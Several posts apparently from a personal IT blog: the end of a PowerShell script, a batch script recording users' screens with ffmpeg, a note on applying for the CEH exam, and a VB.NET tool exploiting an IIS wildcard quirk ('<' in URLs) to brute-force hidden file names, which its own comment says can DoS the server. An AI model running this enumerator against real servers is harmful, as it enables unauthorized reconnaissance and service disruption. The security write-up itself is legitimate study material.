        $ADTags.GetEnumerator() | ForEach-Object {
            if ($_.value -eq "DIR")
            {
                $message = '{0} is a {1}, it gets {2}!' -f $_.key, $_.value, $DirectorTags.GetValue(4)
                Write-Output $message
            }
        }
    }
}
catch
{
}
$DirectorTags.Close()

This little Batch script is one of my favorites, I work with alot of different people that are non-technical and cannot reproduce issues on demand. This nifty little VLC script captures everything in a tiny tiny file and on average records about 6 hours of screen time in only 40MB of data. Not bad eh! 🙂

setlocal REM set path=%path%;%ProgramFiles%\VideoLAN\VLC\;%ProgramFiles(x86)%\VideoLAN\VLC\

eventcreate /ID 1 /L APPLICATION /T INFORMATION  /SO PROVISION /D "Starting Provision"
eventcreate /ID 1 /L APPLICATION /T INFORMATION  /SO PROVISION /D "Current Directory %CD%"
eventcreate /ID 1 /L APPLICATION /T INFORMATION  /SO PROVISION /D %~dp0
eventcreate /ID 1 /L APPLICATION /T INFORMATION  /SO PROVISION /D "%*"
eventcreate /ID 1 /L APPLICATION /T INFORMATION  /SO PROVISION /D ""%*""

for /f "tokens=2 delims==" %%I in ('wmic os get localdatetime /format:list') do set datetime=%%I
echo %datetime:~0,8%-%datetime:~8,6%

start /min ffmpeg -f dshow -i video="screen-capture-recorder" -c:v libx264 -qp 0 c:\videos\Provision_%datetime:~0,8%-%datetime:~8,6%.flv

REM start vlc screen:// -I rc --one-instance --qt-start-minimized --screen-follow-mouse --screen-fps 20 :sout=#transcode{vcodec=h264,vb=1800,scale=1}:std{access=file,mux=asf,dst=c:\\videos\\Recording_%datetime:~0,8%-%datetime:~8,6%.mp4}
REM vlc screen://  -I rc --screen-follow-mouse --screen-fps 3 :sout=#transcode{vcodec=WMV2,vb=1800,scale=1}:std{access=file,mux=asf,dst=c:\Videos\%datetime:~0,8%-%datetime:~8,6%.wmv}

pushd "%~dp0"
call RecordedProcess.bat %*
popd

REM vlc --one-instance vlc://stop && taskkill /f /im vlc.exe
REM vlc vlc://quit 

taskkill /f /im ffmpeg.exe

eventcreate /ID 1 /L APPLICATION /T INFORMATION  /SO PROVISION /D "Ending Recording task"

So, Today’s the day. I am submitting my application for the CEH exam. To my surprise that actually care about your training and creds before taking the test unlike compTIA’s A+, Network+ or Security+ exams. I attached the link below for anyone who is interested in taking the exam. You require a minimum of two years in the IT security field, I professionally am going on 5+, so I at least have that going for me, and you need to have a Supervisor in the field vouch for you to take the exam. I’ve been going up and down pluralsight’s material and in a nutshell, it appears to be on the opposite side of the security+ exam, more on the offensive than the defensive. So let’s just take a peek at the cost of the exam…. do da do do do… $950!? Geezus! Well looks like it’s back to the good ol’ top ramen diet again for awhile.

https://cert.eccouncil.org/exam-eligibility-form.html

https://store.eccouncil.org/product/ceh-vue-exam-voucher/

So, depending on the version of IIS installed on a Server, the “<<” or “>>” can be used as a wildcard for browsing to files. This issue is at the DOS Wildcard level, Src: Stack overflow. I need to add additional information, I’ll edit this post when I get addtional time.

Public Class Form1
    Dim NewLetter As Char
    Dim MyWebRequest As New Net.WebClient()
    Dim Extention As String = ".cfm"
    Dim FileLen As Integer = 0
    Dim SleepTime As Integer = 1000

    Const WebSite As String = "http://MyWebsite.com/"

    Private Sub ExplorePath(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)
        Application.DoEvents()

        Dim Data As Byte() = Nothing
        Dim NumberOfFilesFound As Integer = 0
        Dim DataLength As Integer = 0
        NumberOfFilesFound = 0

        Debug.WriteLine("Trying: " & WebSite & RequestString & "<" & Extention)

        Try
            If LastAscii = 0 Then
                Data = MyWebRequest.DownloadData(WebSite & RequestString & "<" & Extention)
            Else
                Data = MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & "<" & Extention)
            End If
            If DataLength <> Data.Length Then
                If LastAscii = 0 Then
                    ListBox1.Items.Add(RequestString & "<" & Extention)
                Else
                    ListBox1.Items.Add(RequestString & Chr(LastAscii) & "<" & Extention)
                    Try
                        MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & Extention)
                        ListBox1.Items.Add("--[" & RequestString & Chr(LastAscii) & Extention & "]--")
                    Catch ex As Exception

                    End Try
                    ExplorePath(RequestString & ChrW(LastAscii), 48)
                End If
            End If

        Catch ex As Exception
            DataLength = 0
        End Try


        Select Case LastAscii
            Case 0
                LastAscii = 48
            Case 58
                LastAscii = 65 'A
            Case 91
                LastAscii = 48 'Zero
                Return
            Case Else
                LastAscii += 1
        End Select

        Threading.Thread.Sleep(SleepTime)
        ExplorePath(RequestString, LastAscii)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        'THIS CAN DOS THE SYSTEM
        'Add a Sleep Command
        'Exit Sub
        Dim MyThread(25) As Threading.Thread
        Dim MyThreadClass(25) As ThreadClassAction
        If TextBox2.Text = "" Then
            For i = 0 To 25
                MyThreadClass(i) = New ThreadClassAction
                MyThreadClass(i).CallBack = Me
                MyThread(i) = New Threading.Thread(AddressOf MyThreadClass(i).Launch)
                MyThread(i).Name = Chr(Asc("A") + i)
                MyThread(i).IsBackground = True
                MyThread(i).Start()
            Next
        Else
            Extention = TextBox1.Text
            ExplorePath(TextBox2.Text)
            MsgBox("Done!")
        End If


    End Sub
End Class

Public Class ThreadClass
    Public CallBack As Form
    Public Data As String
    Public Sub AddListItem1()
        Form1.ListBox1.Items.Add(Data)
    End Sub
    Public Sub AddListItem2()
        Form1.ListBox2.Items.Add(Data)
    End Sub
End Class

Public Class ThreadClassAction
    Public CallBack As Form
    Dim MyWebRequest As New Net.WebClient()
    Private Delegate Sub MyDelPtr()
    Public Extention As String = ".cfm"

    Const WebSite As String = "http://MyWebsite.com/"

    Public Sub Launch()
        ExplorePathThread(Threading.Thread.CurrentThread.Name)
    End Sub

    Private Sub ExplorePathThread(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)
        Debug.WriteLine("Starting Thread: " & Threading.Thread.CurrentThread.Name)
        Application.DoEvents()
        Dim MyThreadClass As New ThreadClass
        MyThreadClass.CallBack = CallBack
        Dim MyDel1 = New MyDelPtr(AddressOf MyThreadClass.AddListItem1)
        Dim MyDel2 = New MyDelPtr(AddressOf MyThreadClass.AddListItem2)

        Dim Data As Byte() = Nothing
        Dim NumberOfFilesFound As Integer = 0
        Dim DataLength As Integer = 0
        NumberOfFilesFound = 0

        Debug.WriteLine("Trying: " & WebSite & RequestString & "<" & Extention)

        Try
            If LastAscii = 0 Then
                Data = MyWebRequest.DownloadData(WebSite & RequestString & "<" & Extention)
            Else
                Data = MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & "<" & Extention)
            End If
            If DataLength <> Data.Length Then
                If LastAscii = 0 Then
                    MyThreadClass.Data = (RequestString & "<" & Extention)
                    CallBack.Invoke(MyDel1)
                Else
                    MyThreadClass.Data = (RequestString & Chr(LastAscii) & "<" & Extention)
                    CallBack.Invoke(MyDel1)
                    Try
                        MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & Extention)
                        MyThreadClass.Data = ("--[" & RequestString & Chr(LastAscii) & Extention & "]--")
                        CallBack.Invoke(MyDel2)
                    Catch ex As Exception

                    End Try
                    ExplorePathThread(RequestString & ChrW(LastAscii), 48)
                End If
            End If

        Catch ex As Exception
            DataLength = 0
        End Try


        Select Case LastAscii
            Case 0
                LastAscii = 48
            Case 58
                LastAscii = 65 'A
            Case 91
                LastAscii = 48 'Zero
                Return
            Case Else
                LastAscii += 1
        End Select
        ExplorePathThread(RequestString, LastAscii)
    End Sub
End Class